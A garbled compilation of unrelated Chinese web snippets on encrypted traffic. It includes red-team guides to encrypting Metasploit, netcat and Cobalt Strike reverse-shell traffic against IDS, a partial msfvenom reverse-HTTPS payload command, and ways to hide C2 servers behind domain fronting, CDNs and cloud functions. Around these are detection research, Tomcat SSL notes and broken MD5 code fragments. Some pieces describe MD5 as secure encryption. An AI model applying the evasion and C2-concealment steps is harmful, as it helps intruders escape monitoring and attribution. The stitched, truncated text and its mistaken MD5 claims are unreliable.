此时,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程,阻断红队行为,红队就无法进行渗透行为了。所以,我们需要对 shell 中通信的内容进行混淆或加密,实现动态免杀。 但是目标系统所在的网络区域存在IDS等流量监测设备,为了防止被监控后查杀,我们需要分别对 netcat、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密,从而绕过 可看到未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易地查看到攻击者的行为记录的。 那么接下来将演示如何使用OpenSSL对nc进行流量加密。 1. Metasploit 流量加密 实验环境:Kali Linux 攻击 Windows 10 Metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来 下面开始演示如何对 Metasploit 进行流量加密。
根据最新统计报告[3],截止 2017 年 2 月,半数的在线流量均被加密。对于特定类型的流量,加密甚至已成为法律的强制性要求,Gartner 预测到2021 年,83%的流量将被加密。 加密流量识别什么加密与未加密流量,识别出哪些流量属于加密的,剩余则是未加密的识别加密流量所采用的加密协议,如 QUIC,SSL,SSH,IPSec识别流量所属的应用程序,如Skype,Bittorrent ,YouTube,谷歌搜索,淘宝网,凤凰网或中国银行等异常流量识别就是识别出 DDoS,APT,Botnet 等恶意流量内容参数识别就是对应用流量从内容参数上进一步分类,如视频清晰度,图片格式加密流量识别方法概览加密流量识别的首要任务是根据应用需求确定识别对象及识别粒度 在5分钟窗口全部加密流量分析中,我们的准确率为93.2%(make use of all encrypted flows within a 5-minute window)。” 首先,分析百万级的正常流量和恶意流量中 TLS 流、DNS 流和 HTTP 流之间的差异,具体包括未加密的 TLS 握手信息、与目的 IP 地址相关的 DNS 响应信息、相同源 IP地址 5min 窗口内
b2a1 0200 0400 0000 0000 0000 0000 ff7f 0000 0100 0000 # Global Header e5da 2710 0000 4032 559e 7f00 0001 7f00 0001 0102 0304 0000 2710 # Packet Data 第二段 e5da ffff 0000 0000 0000 0800 4500 001c 0001 0000 4032 7cad 7f00 0001 7f00 0001 0102 0304 0000 0001 e5da
并没有加密,传输内容容易被检测和发现。 如下,我们简单生成一个Android平台的shell。 加密msf流量 创建证书 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=UK/ST=London/L=London 这样会在桌面生成一个www.bbskali.cn.pem的证书 生成加密的shell msfvenom -p windows/meterpreter/reverse_winhttps LHOST= 发现流量全是密文了。
在默认情况下安装时,Tomcat服务器与客户端之间的所有通信都是未加密的,包括输入的任何密码或任何敏感数据。我们可以通过多种方式将SSL合并到Tomcat的安装中。 Tomcat本身也能够加密本地连接,我们是不是有点画蛇添足,多此一举呢? 自签名证书提供了相同类型的加密,但没有域名验证公告。关于自签名证书,你可以参考为Apache创建自签名SSL证书和如何为Nginx创建自签名SSL证书这两篇文章。 现在输入以下命令打开文件: sudo vi /etc/httpd/conf.d/ssl.conf 在VirtualHost配置块内部,添加一个JkMount指令,将该虚拟主机接收的所有流量传递给我们刚定义的 结论 现在你可以在Web服务器代理的帮助下使用SSL加密Tomcat连接。虽然配置单独的Web服务器进程可能会增加服务应用程序所涉及的软件,但它可以显着简化SSL部署保护流量的过程。
由越来越多的网页信息改为HTTPS 加密协议,传统的运营商基于DPI的数据获取和广告营销方式已经不可行,需要一种新的方式采集可用数据。 相对网页版,手机版的加密信息相对少些,因此可以以手机版本作为切入,获取用户部分信息。 实验结果: ?
又是喜闻乐见的加密流量!搞它。 APP是加壳的,先上frida-dexdump脱壳。 ? ? 这么多有encrypt关键字的,不好找,我们上DDMS: 通过profilling,我们很容易就能定位到加密函数: ? 上JEB,打开我们已经脱掉的dex文件: ? 恩,剩下的就是写脚本了。1. 为方便测试,我们使用burpy,这样就能直接在burpsuite上操作加密解密了。2. 为方便burpy调用加密和解密,需要把hook写成rpc的形式。
本文介绍一种从加密流量中检测恶意流量的方法,来自清华大学的HawkEye战队,他们在DataCon2020大赛中获得加密恶意流量检测方向的一等奖,该方法的思路具有很好的借鉴作用,希望带给读者一些思考。 如何通过不解密的方式直接从大体量的加密流量中检测出恶意流量,是学术界和工业界一直非常关注的问题,且已经取得了一些研究成果,但大多都是使用单一模型或多个弱监督模型集成学习的方法。 由于数据包体量特征不受数据加密的影响,所以非常适合用于加密流量的检测。 ? 四、小结 本文介绍了一种加密恶意流量检测方法,首先通过对加密流量进行深入分析和特征挖掘,提取了单维/多维特征,然后对包级/流级/主机级流量行为进行分层分析和学习,构建不同的分类器,最终通过多模型投票机制提升了检测效率和性能 加密代理篇: 《初探加密流量识别》 恶意软件篇: 《基于深度学习的物联网恶意软件家族细粒度分类研究》 《关于恶意软件加密流量检测的思考》 加密webshell篇: 《【冰蝎全系列有效】针对HTTPS加密流量的
所以我们需要加密流量保护CS服务器以免被防守方的安全监控检测出来甚至溯源我们的CS服务器,目前常用的隐藏手段包括域前置、CDN、云函数等,接下来我将介绍这几种常见的隐藏C2的方式。 与云函数类似,域前置技术主要通过CDN节点将流量转发给真实的C2服务器,CDN节点ip可通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,那么就可以有效躲避针对DLP、agent等流量监测 与此同时我们可以发现外部地址随着每次请求一直变化,因此防守方溯源到我们C2服务器的IP地址几率也就非常低在 CS 中成功执行命令并在受害主机上开启 WireShark 抓包在 WireShark 中跑的都是TLS加密流量 、目的地址为随机的CDN节点,因此无法溯源到我们C2服务器的真实IP0x03 总结通过这段时间针对流量加密的学习,我发现网络攻击与防守总是在不断转换,就像CDN在设计之初主要用于保护网站的真实IP,但作为攻击者我们也可以使用它来保护我们的 C2服务器;而使用OpenSSL生成的RSA证书除了身份验证以外也能够帮助攻击者加密流量、隐藏通信。
加密通用类:
public class EncryptClass
{
///
分组密码 分组密码有很多种,但AES 128可能是目前最适合对在线流量进行加密的算法了,下面给出的是我们对不同种类分组密码的测试结果: ? 虽然这些加密算法都非常优秀,但是他们仍需要类似计数器(CTR)和基于认证的加密模块,其中最适合消息认证码(MAC)的加密算法就是LightMAC了,因为它在实现加密的过程中使用的是相同的分组密码。 置换函数 如果你花了很多时间去测试各种加密算法的话,你最终会发现在构造流密码、分组密码、加密认证模型、加密哈希函数和随机数生成器时,你需要的仅仅只是一个置换函数。 这里我们选择使用Gimli,因为它占用资源最少,并且可以用来构造针对通信流量的加密算法。 异或密码 接下来,我们实现一个针对数据流的简单异或操作(Just For Fun!)。 ,接下来才是加密数据。
; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class MD5Tool { /** * 该方法将指定的字符串用MD5算法加密后返回。 * @param s * @return */ public static String getMD5Encoding(String s) { byte[] input=s.getBytes(); ’,’d’,’e’,’f’}; try{ // 获得一个MD5摘要算法的对象 MessageDigest md=MessageDigest.getInstance(“MD5”); md.update (input); /* MD5算法的结果是128位一个整数,在这里javaAPI已经把结果转换成字节数组了 */ byte[] tmp = md.digest();//获得MD5的摘要结果 char[]
MD5加密详解 引言: 我在百度百科上查找到了关于MD5的介绍,我从中摘要一些重要信息: Message Digest Algorithm MD5(中文名为信息摘要算法第五版)为计算机安全领域广泛使用的一种散列函数 <iostream> using namespace std; int main() { MD5 md5; md5.update(""); md5.PrintMD5("", md5); md5.update ("a"); md5.PrintMD5("a", md5); md5.update("bc"); md5.PrintMD5("abc", md5); md5.update("defghijklmnopqrstuvwxyz "); md5.PrintMD5("abcdefghijklmnopqrstuvwxyz", md5); md5.reset(); md5.update("message digest"); md5.PrintMD5 作者感言: 加密过程太复杂,只得以记录的方式,记下来。 这个MD5已经激活成功教程了,前提是已经知道了MD5加密值,才可以激活成功教程。
import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; public class MD5Util apache校验下载的文件的正确性用的就是默认的这个组合 */ protected static char hexDigits[] = { '0', '1', '2', '3', '4', '5' () + "初始化失败,MessageDigest不支持MD5Util。") s * @return */ public static String getMD5String(String s) { return getMD5String IOException */ public static String getMD5String(File file) throws IOException { if
MD5:是一种不可逆的加密算法.它是可靠的,并且安全的.在python中我们不需要手写这一套算法. 只需要引入一个叫hashlib的模块就能搞定MD5的加密工作. import hashlib obj = hashlib.md5() obj.update("alex".encode("utf-8" )) #加密的必须是字节 miwen = obj.hexdigest() print(miwen) #534b44a19bf18d20b71ecc4eb77c572f 但是仅仅是这样仍然不够安全, 因为这样的密文通过一个所谓的MD5解密工具是有可能解密成功的 这是因为撞库的问题.由于MD5的原始算法已经存在很久了.那就有些人用一些简单的排列组合来计算MD5.然后当出现 相同的MD5密文的时候就很容易反推出原来的数据是什么 obj.update("alex".encode("utf-8")) # 加密的必须是字节 miwen = obj.hexdigest() #6a89b5b541444af45a7927d42f43757d
简介:MD5的全称是Message-Digest Algorithm 5(信息-摘要算法),它是一种单向加密算法,可以将输入的信息加密转换为128位固定长度的散列值,用于检验数据传输过程中的完整性。 出现的两种观点: 1.MD5属不属于加密算法,因为只可以加密,无法获得密码原文,只能属于算法。 2.正因为看不到原文,使得原文得到加密处理。 特性: 1.不可逆运算 2. 一般使用的加盐: md5(Password+UserName),即将用户名和密码字符串相加再MD5,这样的MD5摘要基本上不可反查。 但有时候用户名可能会发生变化,发生变化后密码即不可用了。 比如,123456通过md5加密后是e10adc3949ba59abbe56e057f20f883e,将其放入数据库的,下次通过数据库查询自然也能查询到,所以不过的一个数据库的查询。 所以大多时候,没有绝对的不可破解,为了加强破解难度,可以多种加密算法一起配合使用 附件:MD5Utils(MD5加密工具类!未加盐)
区别: MD5加密: 加密时通过原字符串加密成另一串字符串 解密时需要原加密字符串进行重新加密比较两次加密结果是否一致 T=RSA加密: 加密时通过原字符串生成密钥对(公钥 +私钥) 解密时通过公钥和私钥进行解密,解密出原字符串进行比较是否一致 个人观点: RSA加密略比MD5加密牛逼一点点 但凡事都有好坏 MD5加密执行效率比RSA慢 废话不多说上栗子 : MD5加密: package cn.news.util; import java.security.MessageDigest; /** * * @author: 房上的猫 * * @time: 2018年5月14日 下午8:04:44 * * @博客地址: https://www.cnblogs.com/lsy131479/ * */ public class MD5 static String MD(String s) { try { MessageDigest md = MessageDigest.getInstance("MD5"
有网络请求的地方基本上就有md5 dart有内置的md5加密包,先引入头文件: import 'dart:convert'; import 'package:convert/convert.dart'; import 'package:crypto/crypto.dart'; md5加密方法 // md5 加密 String generateMd5(String data) { var content = new Utf8Encoder().convert(data); var digest = md5.convert(content); // 这里其实就是 digest.toString(
随着TLS的使用越来越普遍、有效证书的获取越来越廉价和容易,使用TLS的恶意软件也会越来越多,所以检测出恶意软件的TLS加密通信流量是非常必要的。 帝国理工大学的Olivier Roques公开的报告[1]中对数据集[2]的特征分布进行了分析,该数据集包含一万多条恶意流和两万多条良性流,良性流量数据主要来自2019年5月到6月Lastline的企业办公网络环境 图5 客户端提供的密码套件特征分布 (2)TLS客户端提供的扩展:如图6所示,横坐标表示TLS扩展的代码,纵坐标表示在恶意流和良性流中各个扩展的占比。 URL: https://www.stratosphereips.org/datasets-malware 更多加密流量相关文章,欢迎点击阅读相关文章。 加密代理篇: 《初探加密代理识别》 恶意软件篇: 《基于深度学习的物联网恶意软件家族细粒度分类研究》 加密webshell篇: 《【冰蝎全系列有效】针对HTTPS加密流量的webshell检测研究》 《
secretKey(); byte[] encryptResult = encrypt(content, key); System.out.println("加密后的结果为 mt= new MD5Util(key, "utf-8"); System.out.println("加密前的字符:" + value); System.out.println ("加密后的字符:" + mt.encode(value)); System.out.println("解密后的字符:" + mt.decode(mt.encode(value) )); System.out.println("字符串的MD5值:"+getMD5Value(value)); } catch (Exception e) { ");// 得到加密对象Cipher enCipher.init(Cipher.ENCRYPT_MODE, key, iv);// 设置工作模式为加密模式,给出密钥和向量